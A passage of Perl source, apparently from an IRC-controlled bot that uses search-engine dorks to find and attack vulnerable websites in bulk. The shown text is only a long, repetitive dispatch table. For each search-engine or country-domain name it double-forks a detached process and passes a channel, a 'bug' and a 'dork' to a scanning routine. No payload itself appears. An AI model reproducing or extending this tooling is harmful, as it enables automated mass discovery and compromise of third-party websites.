{ exit; } else { &type($chan,$bug,$dork,"GooNZ",$type); } exit; } } if ($engine =~ /Gooni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNI",$type); } exit; } } if ($engine =~ /Goonf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNF",$type); } exit; } } if ($engine =~ /Goono/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNO",$type); } exit; } } if ($engine =~ /Gooom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooOM",$type); } exit; } } if ($engine =~ /Goopk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPK",$type); } exit; } } if ($engine =~ /Goopa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPA",$type); } exit; } } if ($engine =~ /Goopy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPY",$type); } exit; } } if ($engine =~ /Goope/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPE",$type); } exit; } } if ($engine =~ /Goopn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPN",$type); } exit; } } if ($engine =~ /Goopt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPT",$type); } exit; } } if ($engine =~ /Goopr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPR",$type); } exit; } } if ($engine =~ /Gooqa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooQA",$type); } exit; } } if ($engine =~ /Goorw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRW",$type); } exit; } } if ($engine =~ /Goosh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSH",$type); } exit; } } if ($engine =~ /Goosm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSM",$type); } exit; } } if ($engine =~ /Goosa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSA",$type); } exit; } } if ($engine =~ /Goosn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSN",$type); } exit; } } if ($engine =~ /Goosc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSC",$type); } exit; } } if ($engine =~ /Goosg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSG",$type); } exit; } } if ($engine =~ /Goosk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSK",$type); } exit; } } if ($engine =~ /Gooza/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooZA",$type); } exit; } } if ($engine =~ /Goolk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLK",$type); } exit; } } if ($engine =~ /Goovc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVC",$type); } exit; } } if ($engine =~ /Goose/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSE",$type); } exit; } } if ($engine =~ /Gooch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCH",$type); } exit; } } if ($engine =~ /Gootw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTW",$type); } exit; } } if ($engine =~ /Gootj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTJ",$type); } exit; } } if ($engine =~ /Goobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBS",$type); } exit; } } if ($engine =~ /Gooto/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTO",$type); } exit; } } if ($engine =~ /Goott/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTT",$type); } exit; } } if ($engine =~ /Gootr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTR",$type); } exit; } } if ($engine =~ /Gootm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTM",$type); } exit; } } if ($engine =~ /Goovi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVI",$type); } exit; } } if ($engine =~ /Gooug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUG",$type); } exit; } } if ($engine =~ /Goouy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUY",$type); } exit; } } if ($engine =~ /Goouz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUZ",$type); } exit; } } if ($engine =~ /Goove/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVE",$type); } exit; } } if ($engine =~ /Goovn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVN",$type); } exit; } } if ($engine =~ /Goozm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooZM",$type); } exit; } } if ($engine =~ /Goomuseum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMUSEUM",$type); } exit; } } if ($engine =~ /Goows/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooWS",$type); } exit; } } if ($engine =~ /Gooaf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAF",$type); } exit; } } if ($engine =~ /Gooax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAX",$type); } exit; } } if ($engine =~ /Gooal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAL",$type); } exit; } } if ($engine =~ /Goodz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDZ",$type); } exit; } } if ($engine =~ /Gooao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAO",$type); } exit; } } if ($engine =~ /Gooaq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAQ",$type); } exit; } } if ($engine =~ /Gooam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAM",$type); } exit; } } if ($engine =~ /Gooaw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAW",$type); } exit; } } if ($engine =~ /Gooac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAC",$type); } exit; } } if ($engine =~ /Goobj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBJ",$type); } exit; } } if ($engine =~ /Goobm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBM",$type); } exit; } } if ($engine =~ /Goobt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBT",$type); } exit; } } if ($engine =~ /Gooio/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIO",$type); } exit; } } if ($engine =~ /Goobn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBN",$type); } exit; } } if ($engine =~ /Goobf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBF",$type); } exit; } } if ($engine =~ /Gookh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKH",$type); } exit; } } if ($engine =~ /Goocm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCM",$type); } exit; } } if ($engine =~ /Goocv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCV",$type); } exit; } } if ($engine =~ /Gooky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKY",$type); } exit; } } if ($engine =~ /Goocf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCF",$type); } exit; } } if ($engine =~ /Goocx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCX",$type); } exit; } } if ($engine =~ /Goocw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCW",$type); } exit; } } if ($engine =~ /Goocy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCY",$type); } exit; } } if ($engine =~ /Goofk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFK",$type); } exit; } } if ($engine =~ /Goofo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFO",$type); } exit; } } if ($engine =~ /Googh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGH",$type); } exit; } } if ($engine =~ /Googd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGD",$type); } exit; } } if ($engine =~ /Googp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGP",$type); } exit; } } if ($engine =~ /Googu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGU",$type); } exit; } } if ($engine =~ /Googn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGN",$type); } exit; } } if ($engine =~ /Googy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGY",$type); } exit; } } if ($engine =~ /Goohm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHM",$type); } exit; } } if ($engine =~ /Gooiq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIQ",$type); } exit; } } if ($engine =~ /Goojm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJM",$type); } exit; } } if ($engine =~ /Gooki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKI",$type); } exit; } } if ($engine =~ /Gookw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKW",$type); } exit; } } if ($engine =~ /Goola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLA",$type); } exit; } } if ($engine =~ /Goolb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLB",$type); } exit; } } if ($engine =~ /Goolr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLR",$type); } exit; } } if ($engine =~ /Goomo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMO",$type); } exit; } } if ($engine =~ /Goomg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMG",$type); } exit; } } if ($engine =~ /Goomv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMV",$type); } exit; } } if ($engine =~ /Goomp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMP",$type); } exit; } } if ($engine =~ /Goomq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMQ",$type); } exit; } } if ($engine =~ /Goomr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMR",$type); } exit; } } if ($engine =~ /Gooyt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooYT",$type); } exit; } } if ($engine =~ /Goomd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMD",$type); } exit; } } if ($engine =~ /Goomc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMC",$type); } exit; } } if ($engine =~ /Goome/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooME",$type); } exit; } } if ($engine =~ /Goomz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMZ",$type); } exit; } } if ($engine =~ /Goonr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNR",$type); } exit; } } if ($engine =~ /Goonc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNC",$type); } exit; } } if ($engine =~ /Goong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNG",$type); } exit; } } if ($engine =~ /Goonu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNU",$type); } exit; } } if ($engine =~ /Goopw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPW",$type); } exit; } } if ($engine =~ /Goops/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPS",$type); } exit; } } if ($engine =~ /Goocq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCQ",$type); } exit; } } if ($engine =~ /Goore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRE",$type); } exit; } } if ($engine =~ /Goolc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLC",$type); } exit; } } if ($engine =~ /Goopm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPM",$type); } exit; } } if ($engine =~ /Goost/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooST",$type); } exit; } } if ($engine =~ /Goors/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRS",$type); } exit; } } if ($engine =~ /Googs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGS",$type); } exit; } } if ($engine =~ /Goosl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSL",$type); } exit; } } if ($engine =~ /Goosx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSX",$type); } exit; } } if ($engine =~ /Goosb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSB",$type); } exit; } } if ($engine =~ /Gooso/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSO",$type); } exit; } } if ($engine =~ /Goosu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSU",$type); } exit; } } if ($engine =~ /Gookn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKN",$type); } exit; } } if ($engine =~ /Goosr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSR",$type); } exit; } } if ($engine =~ /Gootz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTZ",$type); } exit; } } if ($engine =~ /Gootl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTL",$type); } exit; } } if ($engine =~ /Gootg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTG",$type); } exit; } } if ($engine =~ /Gootk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTK",$type); } exit; } } if ($engine =~ /Gootn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTN",$type); } exit; } } if ($engine =~ /Gootc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTC",$type); } exit; } } if ($engine =~ /Goovu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVU",$type); } exit; } } if ($engine =~ /Goowf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooWF",$type); } exit; } } if ($engine =~ /Gooye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooYE",$type); } exit; } } if ($engine =~ /Goozw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooZW",$type); } exit; } } if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAE",$type); } exit; } } if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAR",$type); } exit; } } if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAT",$type); } exit; } } if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAU",$type); } exit; } } if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBR",$type); } exit; } } if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCA",$type); } exit; } } if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCL",$type); } exit; } } if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCN",$type); } exit; } } if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCoM",$type); } exit; } } if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCZ",$type); } exit; } } if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDE",$type); } exit; } } if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDK",$type); } exit; } } if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKES",$type); } exit; } } if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEU",$type); } exit; } } if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFR",$type); } exit; } } if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHU",$type); } exit; } } if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKID",$type); } exit; } } if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIL",$type); } exit; } } if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKInfO",$type); } exit; } } if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIR",$type); } exit; } } if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIT",$type); } exit; } } if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJP",$type); } exit; } } if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKR",$type); } exit; } } if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMX",$type); } exit; } } if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMY",$type); } exit; } } if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNeT",$type); } exit; } } if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNL",$type); } exit; } } if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOrG",$type); } exit; } } if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPH",$type); } exit; } } if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPL",$type); } exit; } } if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRO",$type); } exit; } } if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRU",$type); } exit; } } if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTH",$type); } exit; } } if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUA",$type); } exit; } } if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUK",$type); } exit; } } if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUS",$type); } exit; } } if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSI",$type); } exit; } } if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBE",$type); } exit; } } if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBIZ",$type); } exit; } } if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type); } exit; } } if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type); } exit; } } if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type); } exit; } } if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type); } exit; } } if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type); } exit; } } if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type); } exit; } } if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type); } exit; } } if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type); } exit; } } if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type); } exit; } } if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type); } exit; } } if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type); } exit; } } if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type); } exit; } } if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type); } exit; } } if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type); } exit; } } if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type); } exit; } } if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type); } exit; } } if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type); } exit; } } if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type); } exit; } } if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type); } exit; } } if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type); } exit; } } 